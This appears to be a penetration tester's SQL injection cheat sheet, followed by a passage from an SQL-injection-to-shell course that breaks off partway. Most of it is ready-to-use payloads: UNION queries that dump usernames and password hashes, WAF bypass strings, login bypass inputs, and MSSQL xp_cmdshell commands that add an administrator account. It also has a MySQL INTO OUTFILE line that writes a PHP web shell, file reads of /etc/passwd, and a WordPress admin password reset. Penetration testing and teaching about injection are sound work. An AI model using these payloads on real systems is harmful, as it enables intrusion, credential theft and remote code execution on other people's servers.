Search
K
Comment on page

SQL

https://blog.cobalt.io/a-pentesters-guide-to-sql-injection-sqli-16fd570c3532

3306 - remotely

note to self - try https://sqlectron.github.io/ to connect remotely
mysql -h $ip -u root -p
show databases;
#find the database you want - eg wordpress_db
use wordpress_db;
show tables;
select * from wp_users;
If you have root access remotely like the example above you can get access to the user's wordpress password.
If you can not crack the password you can change it to something you know - in fact just change the pass to something you know eg
SELECT ID, user_login, user_pass FROM wp_users WHERE user_login = 'admin';
#set the password for user admin to rowbot
UPDATE wp_users SET user_pass='c424ada17bf6e27794273b7db21cf950' WHERE user_login = 'admin';
successfully log in

Identifying SQL Injection

Let's say that you have some site like this
http://$ip/news.php?id=5
Or a form like this
Now to test if it is vulnerable you add to the end of url ' (quote).
http://$ip/news.php?id=5'
If you get an error like:
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..." or something similar
That means its vulnerable !

Find the number of columns

To find number of columns you use statement ORDER BY (tells database how to order the result) so how to use it? Well just increment the number until you get an error.
http://$ip/news.php?id=5 order by 1/* <-- no error
http://$ip/news.php?id=5 order by 2/* <-- no error
http://$ip/news.php?id=5 order by 3/* <-- no error
http://$ip/news.php?id=5 order by 4/* <-- error (you get message like this Unknown column '4' in 'order clause' or something like that)
That means that the database has 3 columns, cause you get an error on 4.

Check for UNION function

With union you can select more data in one SQL statement.
So you have:
http://$ip/news.php?id=5 union all select 1,2,3/* (you already found that number of columns are 3 in section 2). )
If that doesn't work or you get some error, then try:
http://$ip/news.php?id=5 union all select 1,2,3 -- - #note the dashes at the end
The dashes tells SQL not to process anything passed the 3, in the case above.
If you see some numbers on screen, i.e 1 or 2 or 3 then the UNION works!!

Check for MySQL version

Lets say that you have number 2 on the screen, now to check for version
You replace the number 2 with @@version or version() and get something like 4.1.33-log or 5.0.45 or similar.
It should look like:
http://$ip/news.php?id=5 union all select 1,@@version,3/*
If you get an error:
"union + illegal mix of collations (IMPLICIT + COLLATIONS) ..."
you need is convert() function
http://$ip/news.php?id=5 union all select 1,convert(@@version using latin1),3/
or with hex() and unhex()
http://$ip/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
and you will get MySQL version

Getting table and column name

If the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) you must guess the table and column names
Common table names are:
users, admins, members ..
Common column names are:
username, user, usr, user_name, password, pass, passwd, pwd etc..
For example:
http://$ip/news.php?id=5 union all select 1,2,3 from admin/*
If you see number 2 on the screen like before, and that's good, you know that there is a table called admin in the database. Else try another table name.
Now to check column names:
http://$ip/news.php?id=5 union all select 1,password,3 from admin/*
If you get an error, then try the other column name
You will hopefully see the password on the screen in hash or plain-text, it depends of how the database is set up. For example i.e md5 hash, mysql hash, sha1...
Now you must complete query to look nice for that you can use concat() function (it joins strings).
http://$ip/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
Note that I put 0x3a, its hex value for : (so 0x3a is hex value for colon)
There is another way for that, char(58), ascii value for a colon
http://$ip/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
Now you get displayed username:password on screen, i.e admin:admin or admin:somehash when you have this, you can login like admin or some superuser :D if can't guess the right table name, you can always try mysql.user (default) it has user and password columns, so example would be
http://$ip/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

Test number of columns - Watch for Error

http://$ip/artists.php?artist=1 order by 1,2,3,4
http://$ip/artists.php?artist=1 order by 1,2,3,4 -- LIMIT 1
http://$ip/artists.php?artist=1 -1 union all select 1/*
http://$ip/artists.php?artist=1 -1 union all select 2/*
http://$ip/artists.php?artist=1 -1 union all select 3/*
http://$ip/artists.php?artist=1 -1 union all select 4/*

Test Injectable columns - Watch for visual Indicators (WAF filters)

http://$ip/artists.php?artist=1 -1 union all select 1,2,3,4
http://$ip/listproducts.php?cat=1 -1 /*!UNiOn*/ /*!SeLEct*/ 1,database(),3,4,5,6,7,8,9,10,11
http://$ip/listproducts.php?cat=1%20%20-1%20%20%20/**//*!12345UNION%20SELECT*//**/%201,database%28%29,3,4,5,6,7,8,9,10,11
http://$ip/listproducts.php?cat=1%20%20-1%20%20%20%20/**//*!50000UNION%20SELECT*//**/%201,database%28%29,3,4,5,6,7,8,9,10,11
http://$ip/listproducts.php?cat=1%20%20-1%20%20/**/UNION/**//*!50000SELECT*//**/%201,database%28%29,3,4,5,6,7,8,9,10,11
http://$ip/listproducts.php?cat=1%20%20-1%20%20%20/*!50000UniON%20SeLeCt*/%201,database%28%29,3,4,5,6,7,8,9,10,11
--*See the 'Web filter Bypass Keywords' below for more*--

Enumerate Information

http://$ip/artists.php?artist=1 union all select 1,@@version,3,4
http://$ip/artists.php?artist=1 union all select 1,hex(unhex(@@version)),3,4
http://$ip/artists.php?artist=1 union all select 1,convert(@@version using latin1),3,4

Enumerate Database

http://$ip/artists.php?artist=1 union all select 1,database(),3,4

Enumerate Tables

http://$ip/listproducts.php?cat=1 -1 union all select 1,2,3,4,5,6,7,8,table_name,10,11 from information_schema.tables

Enumerate columns

http://$ip/artists.php?artist=1 -1 union select all 1,2,column_name,4 from information_schema.columns where table_schema='database' and table_name='table_name' LIMIT 1,1 -- - LIMIT 1

Enumerate RAW data

http://$ip/listproducts.php?cat=1 union select all 1,2,3,4,5,6,group_concat(uname,0x10a,email),8,9,10,11 FROM users

Confirm MYSQL version - If Returns true then end value is true

http://$ip/listproducts.php?cat=1 and substring(@@version,1,1)=4
http://$ip/listproducts.php?cat=1 and substring(@@version,1,1)=5

Test if subset works - If returns True then subset works

http://$ip/listproducts.php?cat=1 and (select 1)=1

Test if subset works, test for mysql.user - If returns True then subset works

http://$ip/listproducts.php?cat=1 and (select 1 from mysql.user limit 0,1)=1

Injection

@@hostname
@@tmpdir
@@datadir
@@basedir
@@log
@@log_bin
@@log_error
@@binlog_format
@@time_format
@@date_format
@@ft_boolean_syntax
@@innodb_log_group_home_dir
@@new
@@version
@@version_comment
@@version_compile_os
@@version_compile_machine
@@GLOBAL.have_symlink
@@GLOBAL.have_ssl
@@GLOBAL.VERSION
version()
table_name()
user()
system_user()
session_user()
database()
column_name()
collation(user())
collation(\N)
schema()
UUID()
current_user()
current_user
dayname(from_days(401))
dayname(from_days(402))
dayname(from_days(403))
dayname(from_days(404))
dayname(from_days(405))
dayname(from_days(406))
dayname(from_days(407))
monthname(from_days(690))
monthname(from_unixtime(1))
collation(convert((1)using/**/koi8r))
(select(collation_name)from(information_schema.collations)where(id)=1
(select(collation_name)from(information_schema.collations)where(id)=23
(select(collation_name)from(information_schema.collations)where(id)=36
(select(collation_name)from(information_schema.collations)where(id)=48
(select(collation_name)from(information_schema.collations)where(id)=50
------forever----

Adding Gaps between requests

testtest nospace 0x1a
test*test * 0x2a
test:test : 0x3a
test::test :: 0x3a3a
testJtest J 0x4a
testZtest Z 0x5a
testjtest j 0x6a
testztest z 0x7a
testtest nospace 0x8a
testtest nospace 0x9a
test test SPACE 0x10a

Web Filter Bypass 'union select' keyword strigns

union select
!UNiOn*/ /*!SeLEct*/
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*--*/union/*--*/select/*--*/
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
+UnIOn%0D%0ASeleCt%0D%0A
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f**%2funion%2f**%2fselect%2f**%2f
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A

MySQL 5

For this you need information_schema. It holds all tables and columns in database
To get tables you use table_name and information_schema.tables:
http://$ip/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*
Here you replace the our number 2 with table_name to get the first table from information_schema.tables displayed on the screen. Now you must add LIMIT to the end of query to list out all tables.
http://$ip/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
Note that i put 0,1 (get 1 result starting from the 0th) now to view the second table, you change limit 0,1 to limit 1,1
http://$ip/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
The second table is displayed. for third table you put limit 2,1
http://$ip/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*
Increment until you get some useful like db_admin, poll_user, auth, auth_user etc...
To get the column names the method is the same. Here you use column_name and information_schema.columns the method is same as above so example would be
http://$ip/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/
The first column is displayed. the second one (you change limit 0,1 to limit 1,1)
http://$ip/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*
The second column is displayed, so increment until you get something like username,user,login, password, pass, passwd etc. If you want to display column names for specific table use this query. (where clause) let's say that you found table users:
http://$ip/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*
Now you get displayed column name in table users. Just using LIMIT you can list all columns in table users. Note that this won't work if the magic quotes is ON. let's say that you found columns user, pass and email. Now to complete query to put them all together. For that you use concat().
http://$ip/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*
What you get is user:pass:email from table users.
The passwords are in hash format so you need to crack the hash. Try https://crackstation.net/
  • Test error based sending ' " ; and look for errors.
  • Test for boolean based sending ' or '1'='1 or or 1=1 and look for differences.
  • Other boolean payloads:
    2' or '1'='1
    'or'a'='a
    ' or 1=1 --
    a' or 1=1 --
    " or 1=1 --
    a" or 1=1 --
    ' or 1=1 #
    " or 1=1 #
    or 1=1 --
    ' or 'x'='x
    " or "x"="x
    ') or ('x'='x
    ") or ("x"="x
    ' or username LIKE '%admin%
  • Payloads, where username is 'admin':
    ' or ( 1=1 and username='admin');
    admin' --
    %bf%27 or 1=1 --

MsSqli exploitation

The passwords are in hash format you need to crack the hash.
  • Find injectable parameter, doing do boolean based:
    1002' or '1'='1
    1002' and '1'='1
    1002' and '1'='2
  • Find injectable parameter with time delays:
    XX'; WAITFOR DELAY '0:0:5'--
  • If it works you can try to enable xp_cmdshell:
    EXEC sp_configure 'show advanced options', 1;
    RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell', 1;
    RECONFIGURE;
  • Test xp_cmdshell using a time delay:
    ';exec master..xp_cmdshell 'ping -n 5 127.0.0.1'; --
  • Add user
    ';exec master..xp_cmdshell 'net user pwned 1234 /ADD && net localgroup administrators pwned /ADD'; --
  • If it did not work, try enumerating the database. Find col until no error tells you the columns:
    1002' ORDER BY 1--
    1002' ORDER BY 2--
    1002' ORDER BY 3--
  • Run union query with num of cols:
    1002' UNION ALL SELECT null,NULL,NULL,NULL--
  • Get data:
    ID=1002' UNION ALL SELECT NULL,+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)),NULL,NULL--
    ID=1002' UNION ALL SELECT NULL,+ISNULL(CAST(HOST_NAME() AS NVARCHAR(4000)),CHAR(32)),NULL,NULL--
    ID=1002' UNION ALL SELECT NULL,+ISNULL(CAST(INJECTED_FUNCTION AS NVARCHAR(4000)),CHAR(32)),NULL,NULL--
    DB_NAME()
    user_name();
    system_user
  • Get hashes
    1002' UNION ALL SELECT NULL,CHAR(113)+ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32))+CHAR(98)+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS NVARCHAR(4000)),CHAR(32))+CHAR(113),NULL,NULL FROM master..sysxlogins--

MsSql error-based Exploitation

  • Group by and having can be used to specify a search condition for a group and aggregate the result.
    • Sending ' having 1=1-- should produce column 'table.column1' is invalid
    • 2. Sending ' group by table.column1 having 1=1-- should produce column 'table.column2' is invalid
    • 3. Sending ' group by table.column1,table.column2 having 1=1-- should end up generating no error when you specify all the columns.
  • You can generate error and get debug info:
    • Sending convert(int, @@version)-- should trigger the error failed when convering SQL Server...*
  • Other payloads:
    convert(int,user_name())--
    convert(int, @@db_name())--
  • If the DB runs as SA, you can run XP_CMDSHELL to get code execution.
  • Useful queries:
    SELECT Distinct TABLE_NAME FROM information_schema.TABLES
    exec master.dbo.xp_cmdshell 'CMD'

MsSql blind exploitation

  • For numeric contexts (look for differences):
    and 1=1
    and 1=2
  • Once we found the injection, we can leak data from the DB by guessing one character at a time as follows:
    AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)=109
  • if it is true, we know the db_name starts with 109(m).
  • Ask if the first character of the user is 'a':
    and if(substring (user(),1,1)=’a’,SLEEP(5),1)--”
  • Check if the admin table exists:
    and IF(SUBSTRING ((select 1 from admin limit 0,1),1,1)=1,SLEEP(5),1)
Finding number of columns using ORDER BY
  • We can use order by to sort the result by a given column number, if the column does not exist, we will get an error:
    vuln.php?id=1 order by 9 # This throws no error
    vuln.php?id=1 order by 10 # This throws error
MySql UNION code execution
  • Joins the result of two queries
    • Two queries should return the same # of columns.
    • Data-types in columns of the select must be of the same orcompatible type.
  • Once you have the right number of columns (i.e. 3) you can find the mysql version:
    UNION SELECT @@version,NULL, NULL#'
  • mysql users:
    UNION SELECT table_schema,NULL,NULL FROM information_schema.columns#'
  • if the result displays garbage from the first query, you can add a false condition to only show the union result AND 1=0 UNION...
  • Read files
    AND 1=0 UNION SELECT LOAD_FILE('C:\\boot.ini'),NULL,NULL #'
  • Write files
    AND 1=0 UNION SELECT 'bad content',NULL,NULL INTO OUTFILE 'C:\\random_file.txt' #'
  • Other payloads:
    -1 union all select @@version --
    1 union SELECT user FROM mysql.user
    1 union select 'foo' into outfile '/tmp/foo'
    1 union select load_file('/etc/passwd')

MySql UNION db leak

  • First, identify vulnerable parameter by causing true and false conditions:
    or 1=1 vs or 1=2
    and 1=2 vs and 1=1
  • If the query is a select, the true should return all rows of the table and the other empty results.
  • Next step is to gess the number of columns, you can do that by sending an union statement, you will get an error until you guess it:
    id=1 union all select 1
    id=1 union all select 1,2
    id=1 union all select 1,2,3
    ...
  • You can get the name of the database by sending:
    ?id=1 union all select 1,2,3,4,5 from XXX
    Table 'gallery.XXX' doesn't existCould not select category
  • You can use a comment *#* to finish the query, in case there is a group by after the context of the injection. You can select the users and passwords form the database with:
    id=1 union all (select 1,2,3,4,5,6 from mysql.user)#
  • Leak the password:
    1 union (select password,2,3,4,5,6 from mysql.user)#
  • Should produce:
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '*47FB3B1E573D80F44CD198DC65DE7764795F948E) order by dateuploaded desc limit 1' at line 1
  • Find current user
    SELECT user();
    SELECT system_user();
  • List all Users
    SELECT user FROM mysql.user;
  • List password hashes
    SELECT host, user, password FROM mysql.user;
  • List databases
    SELECT schema_name FROM information_schema.schemata;
    SELECT distinct(db) FROM mysql.db
  • List columns
    SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
  • List tables
    SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
  • Exfiltrate the different rows of the table. First, find the number of rows in the table:
    aa' UNION SELECT count(*), users.password FROM users; --
  • Then select each row:
    aa' UNION SELECT users.password, users.password FROM users LIMIT 1; --
    aa' UNION SELECT users.password, users.password FROM users LIMIT 1 OFFSET 1; --
    aa' UNION SELECT users.password, users.password FROM users LIMIT 1 OFFSET 2; --
  • Exfiltrate the different rows of the table:
    ' or 'x'='x' order by 1 desc --
    ' or 'x'='x' order by 2 desc --
    ...

MySql in-band, union based SQLI exploitation

  • Enumerate user
    ?id=1 union select 1,2,3,4,user(),6,7,8,9
  • Enumerate version
    ?id=1 union select 1,2,3,4,version(),6,7,8,9
  • Get all tables
    ?=1 union select 1,2,3,4,table_name,6,7,8,9 from information_schema.tables
  • Get all values from a specific column:
    ?id=1 union select 1,2,3,4,column_name,6,7,8,9 from information_schema.columns where table_name = 'users'
  • Get username and password with a delimiter:
    id=1 union select 1,2,3,4,concat(name,0x3a,password),6,7,8,9 FROM users
  • Getting a shell
    ?id=1 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6,7,8,9 into OUTFILE 'c:/xampp/htdocs/cmd.php'
  • Non interactive shell:
  • echo 'use mysql; select * from user;' | mysql -uroot -h127.0.0.1
SQLI login bypass
  • -'
    ' '
    '&'
    '^'
    '*'
    ' or ''-'
    ' or '' '
    ' or ''&'
    ' or ''^'
    ' or ''*'
    "-"
    " "
    "&"
    "^"
    "*"
    " or ""-"
    " or "" "
    " or ""&"
    " or ""^"
    " or ""*"
    or true--
    " or true--
    ' or true--
    ") or true--
    ') or true--
    ' or 'x'='x
    ') or ('x')=('x
    ')) or (('x'))=(('x
    " or "x"="x
    ") or ("x")=("x
    ")) or (("x"))=(("x

Other tricks

  • If space is filtered, you can use /**/ instead
  • Sometimes you can bypassfilter by adding a new line; I.e. 123%0aor 1=1
  • try boolean sqli using num=123 vs num=123-- (comments out the rest of the query)
Object to relational mapping (ORM) injection
  • Try vectors like
    \'
    \"
    OR 1--
Mitigation
  • Parameterized Queries
    "SELECT * FROM foo WHERE bar = ? ".setString( 1, var);
  • Stored Procedures (with parameterized queries)
    connection.prepareCall("{call sp_getAccountBalance(?)}").setString(1, custname);
  • White List Input Validation
  • Escaping All User Supplied Input
  • Additional defenses
    • Least Privilege
    • White List Input Validation
    • Views
    • SQL views to further increase the granularity of access by limiting the read access to specific fields of a table or joins of tables

From SQL Injection to Shell

Inspecting HTTP headers

A lot of information can be retrieved by connecting to the web application using netcat or telnet:
$ telnet vulnerable 80
Where:
  • vulnerable is the hostname or the IP address of the server;
  • 80 is is the TCP port used by the web application (80 is the default value for HTTP).
By sending the following HTTP request:
GET / HTTP/1.1
Host: vulnerable
It is possible to retrieve information on the version of PHP and the web server used just by observing the HTTP headers sent back by the server:
HTTP/1.1 200 OK
Date: Thu, 24 Nov 2011 04:40:51 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze3
Vary: Accept-Encoding
Content-Length: 1335
Content-Type: text/html
Here the application is only available via HTTP (nothing is runnning on the port 443). If the application was only available via HTTPs, telnet or netcat would not be able to communicate with the server, the tool openssl can be used:
$ openssl s_client -connect vulnerable:443
Where:
  • vulnerable is the hostname or the IP address of the server;
  • 443 is is the TCP port used by the web application (443 is the default value for HTTPs).
Using an application such as Burp Suite (http://portswigger.net/) set up as a proxy makes it easy to retrieve the same information:
HTTP headers in Burp

Using a directory Buster

The tool wfuzz (http://www.edge-security.com/wfuzz.php) can be used to detect directories and pages on the web server using brute force.
The following command can be run to detect remote files and directories:
$ python wfuzz.py -c -z file,wordlist/general/big.txt --hc 404 http://vulnerable/FUZZ
The following options are used:
  • -c to output with colors.
  • -z file,wordlist/general/big.txt tells wfuzz to use the file wordlists/general/big.txt as a dictionary to brute force the remote directories' name.
  • --hc 404 tells wfuzz to ignore the response if the response code is 404 (Page not Found)
  • http://vulnerable/FUZZ tells wfuzz to replace the word FUZZ in the URL by each value found in the dictionary.
On some systems, you may need to replace
python wfuzz.py
with
wfuzz
Wfuzz can also be used to detect PHP script on the server:
$ python wfuzz.py -z file -f commons.txt --hc 404 http://vulnerable/FUZZ.php

Detection and exploitation of SQL injection

https://pentesterlab.com/exercises/from_sqli_to_shell/course

Introduction to SQL

In order to understand, detect and exploit SQL injections, you need to understand the Structured Query Language (SQL). SQL allows a developer to perform the following requests:
  • retrieve information using the SELECT statement;
  • update information using the UPDATE statement;
  • add new information using the INSERT statement;
  • delete information using the DELETE statement.
More operations (to create/remove/modify tables, databases or triggers) are available but are less likely to be used in web applications.
The most common query used by web sites is the SELECT statement which is used to retrieve information from the database. The SELECT statement follows the following syntax:
SELECT column1, column2, column3 FROM table1 WHERE column4='string1'
AND column5=integer1 AND column6=integer2;
In this query, the following information is provided to the database:
  • the SELECT statement indicates the action to perform: retrieve information;
  • the list of columns indicates what columns are expected;
  • the FROM table1 indicates from what tables the records are fetched;
  • the conditions following the WHERE statement are used to indicate what conditions the records should meet.
The string1 value is delimited by a simple quote and the integers integer1 and integer2 can be delimited by a simple quote (integer2) or just put directly in the query (integer1).
For example, let see what the request:
SELECT column1, column2, column3 FROM table1 WHERE column4='user'
AND column5=3 AND column6=4;
will retrieve from the following table:
column1
column2
column3
column4
column5
column6
1
test
Paul
user
3
13
2
test1
Robert
user
3
4
3
test33
Super
user
3
4
Using the previous query, the following results will be retrieved:
column1
column2
column3
2
test1
Robert
3
test33
Super
As we can see, only these values are returned since they are the only ones matching all of the conditions in the WHERE statement.
If you read source code dealing with some databases, you will often see SELECT * FROM tablename. The * is a wildcard requesting the database to return all columns and avoid the need to name them all.

Detection based on Integers

Since error messages are displayed, it's quite easy to detect any vulnerability in the website. SQL injections can be detected using any and all of the following methods.All these methods are based on the general behaviour of databases, finding and exploiting SQL injections depends on a lot of different factors, although these methods are not 100% reliable on their own. This is why you may need to try several of them to make sure the given parameter is vulnerable.
Let's take the example of a shopping website, when accessing the URL /cat.php?id=1, you will see the picture article1. The following table shows what you will see for different values of id:
URL
Article displayed
/article.php?id=1
Article 1
/article.php?id=2
Article 2
/article.php?id=3
Article 3
The PHP code behind this page is:
<?php
$id = $_GET["id"];
$result= mysql_query("SELECT * FROM articles WHERE id=".$id);
$row = mysql_fetch_assoc($result);
// ... display of an article from the query result ...
?>
The value provided by the user ($_GET["id]) is directly echoed in the SQL request.
For example, accessing the URL:
  • /article.php?id=1 will generate the following request: SELECT * FROM articles WHERE id=1
  • /article.php?id=2 will generate the following request SELECT * FROM articles WHERE id=2
If a user try to access the URL /article.php?id=2', the following request will be executed SELECT * FROM articles WHERE id=2'. However, the syntax of this SQL request is incorrect because of the single quote ' and the database will throw an error. For example, MySQL will throw the following error message:
You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server
version for the right syntax to use near
''' at line 1
This error message may or may not be visible in the HTTP response depending on the PHP configuration.
The value provided in the URL is directly echoed in the request and considered as an integer, this allows you to ask the database to perform basic mathematical operation for you:
  • if you try to access /article.php?id=2-1, the following request will be sent to the database SELECT * FROM articles WHERE id=2-1, and the article1's information will be display in the web page since the previous query is equivalent to SELECT * FROM articles WHERE id=1 (the subtraction will be automatically performed by the database).
  • if you try to access /article.php?id=2-0, the following request will be sent to the database SELECT * FROM articles WHERE id=2-0, and the article2's information will be displayed in the web page since the previous query is equivalent to SELECT * FROM articles WHERE id=2.
These properties provide a good method of detecting SQL injection:
  • if accessing /article.php?id=2-1 displays article1 and accessing /article.php?id=2-0 displays article2, the subtraction is performed by the database, and you're likely to have found a SQL injection
  • if accessing /article.php?id=2-1 displays article2 and accessing /article.php?id=2-0 displays article2 as well, it's unlikely that you have SQL injection on an integer, but you may have SQL injection on a string value as we will see.
  • if you put a quote in the URL (/article.php?id=1'), you should receive an error.
Even if a value is an integer (for example categorie.php?id=1), it can be used as a string in the SQL query: SELECT * FROM categories where id='1'. SQL allows both syntax, however using a string in the SQL statement will be slower than using an integer.

Detection on Strings

As we saw before in "Introduction to SQL", strings in an SQL query are put between quotes when used as value (example with 'test'):
SELECT id,name FROM users where name='test';
If SQL injection is present in the web page, injecting a single quote ' will break the query syntax and generate an error. Furthermore, injecting 2 times a single quote '' won't break the query anymore. As a general rule, an odd number of single quotes will throw an error, an even number of single quotes won't.
It is also possible to comment out the end of the query, so in most cases you won't get an error (depending on the query format). To comment out the end of the query you can use ' --.
For example the query, with an injection point in the test value:
SELECT id,name FROM users where name='test' and id=3;
will become:
SELECT id,name FROM users where name='test' -- ' and id=3;
and will get interpreted as:
SELECT id,name FROM users where name='test'
However this test can still generate an error if the query follows the pattern below:
SELECT id,name FROM users where ( name='test' and id=3 );
Since the right parenthesis will be missing once the end of the query is commented out. You can obviously try with one or more parenthesis to find a value that doesn't create an error.
Another way to test it, is to use ' and '1'='1, this injection is less likely to impact the query since it is less likely to break it. For example if injected in the previous query, we can see that the syntax is still correct:
SELECT id,name FROM users where ( name='test' and '1'='1' and id=3 );
Furthermore and ' and '1'='1 is less likely to impact the semantic of the request and the results of with and without injection are likely to be the same. We can then compare it with the page generated using the following injection ' and '1'='0 which is less likely to create an error but is likely to change the semantic of the query.SQL injection is not an accurate science and a lot of things can impact the result of your testing. If you think something is going on, keep working on the injection and try to figure out what the code is doing with your injection to ensure it's an SQL injection.
In order to find the SQL injection, you need to visit the website and try these methods on all parameters for each page. Once you have found the SQL injection, you can move to the next section to learn how to exploit it.

Exploitation of SQL injections

Now We have found a SQL injection in the page http://vulnerable/cat.php, in order to go further, we will need to exploit it to retrieve information. To do so, we will need to learn about the UNION keyword available in SQL.

The UNION keyword

The UNION statement is used to put together information from two requests:
SELECT * FROM articles WHERE id=3 UNION SELECT ...
Since it is used to retrieve information from other tables, it can be used as a SQL injection payload. The beginning of the query can't be modify directly by the attacker since it's generated by the PHP code. However using UNION, the attacker can manipulate the end of the query and retrieve information from other tables: